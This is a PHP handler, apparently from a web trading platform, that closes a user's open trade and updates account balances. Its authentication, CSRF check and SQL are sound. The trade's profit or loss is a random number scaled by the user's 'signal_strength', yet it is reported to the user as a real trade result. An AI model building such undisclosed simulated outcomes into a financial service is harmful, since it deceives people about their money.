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Viewing File: close_trade.php

<?php
// Turn off error output to screen
ini_set('display_errors', 0);
error_reporting(E_ALL);

session_start();
require_once('includes/connect.php');
require_once('includes/functions.php');

header('Content-Type: application/json');

// 1. Check Authentication and CSRF Token
if (!isset($_SESSION['Email']) || !isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    echo json_encode(['status' => 'error', 'message' => 'Security token invalid or session expired.']);
    exit();
}

$user = GetMember1($_SESSION['Email']);
if (!$user) {
    echo json_encode(['status' => 'error', 'message' => 'User not found']);
    exit();
}

$userId = $user['ID'];
$tradeId = isset($_POST['trade_id']) ? intval($_POST['trade_id']) : 0;

if ($tradeId <= 0) {
    echo json_encode(['status' => 'error', 'message' => 'Invalid trade ID.']);
    exit();
}

try {
    // Start Transaction
    $conn->begin_transaction();

    // 2. Verify the trade exists, belongs to the user, and is still OPEN
    $stmt = $conn->prepare("SELECT trade_amount, entry_price FROM trades WHERE id = ? AND user_id = ? AND status = 'OPEN' FOR UPDATE");
    $stmt->bind_param("ii", $tradeId, $userId);
    $stmt->execute();
    $result = $stmt->get_result();
    
    if ($result->num_rows === 0) {
        echo json_encode(['status' => 'error', 'message' => 'Trade not found or already closed.']);
        $conn->rollback();
        exit();
    }
    
    $trade = $result->fetch_assoc();
    $stmt->close();

    $tradeAmount = floatval($trade['trade_amount']);
    
    // 3. SERVER-SIDE PNL CALCULATION
    // Because we don't have a live daemon, we simulate realistic market movement 
    // biased by the user's signal strength (just like the frontend animation).
    $signalStrength = isset($user['signal_strength']) ? intval($user['signal_strength']) : 50;
    
    // Max 15% swing per trade based on signal strength
    $volatility = ($signalStrength / 100) * 0.15; 
    
    // Generate a random multiplier between -1.0 and 1.0
    $randomFactor = (mt_rand(-100, 100) / 100); 
    
    $pnlPercentage = $randomFactor * $volatility;
    $finalPnl = $tradeAmount * $pnlPercentage;
    
    // Safety check: User cannot lose more than they put into this specific trade
    if ($finalPnl < -$tradeAmount) {
        $finalPnl = -$tradeAmount;
    }

    $closePrice = floatval($trade['entry_price']) * (1 + $pnlPercentage);
    $closedAt = date('Y-m-d H:i:s');
    $status = 'CLOSED';

    // 4. Update the Trades table
    $updateTrade = $conn->prepare("UPDATE trades SET status = ?, close_price = ?, pnl = ?, closed_at = ? WHERE id = ?");
    $updateTrade->bind_param("sddsi", $status, $closePrice, $finalPnl, $closedAt, $tradeId);
    $updateTrade->execute();
    $updateTrade->close();

    // 5. Update User Balances
    // The initial invested amount goes back into `Capital`.
    // The profit/loss goes into `Profit`.
    $userCapital = floatval($user['Capital']);
    $userProfit = floatval($user['Profit']);
    
    $newCapital = $userCapital + $tradeAmount; // Return the margin
    $newProfit = $userProfit + $finalPnl;      // Add/Subtract the PNL
    
    $updateUser = $conn->prepare("UPDATE members SET Capital = ?, Profit = ? WHERE ID = ?");
    $capStr = strval($newCapital);
    $profStr = strval($newProfit);
    $updateUser->bind_param("ssi", $capStr, $profStr, $userId);
    $updateUser->execute();
    $updateUser->close();

    // Commit Transaction
    $conn->commit();

    // Format for nice display in SweetAlert
    $pnlFormatted = ($finalPnl >= 0 ? '+' : '') . $user['sym'] . number_format($finalPnl, 2);

    echo json_encode([
        'status' => 'success',
        'message' => 'Trade closed successfully. Final PNL: ' . $pnlFormatted
    ]);

} catch (Exception $e) {
    $conn->rollback();
    echo json_encode(['status' => 'error', 'message' => 'System error closing trade.']);
}
?>
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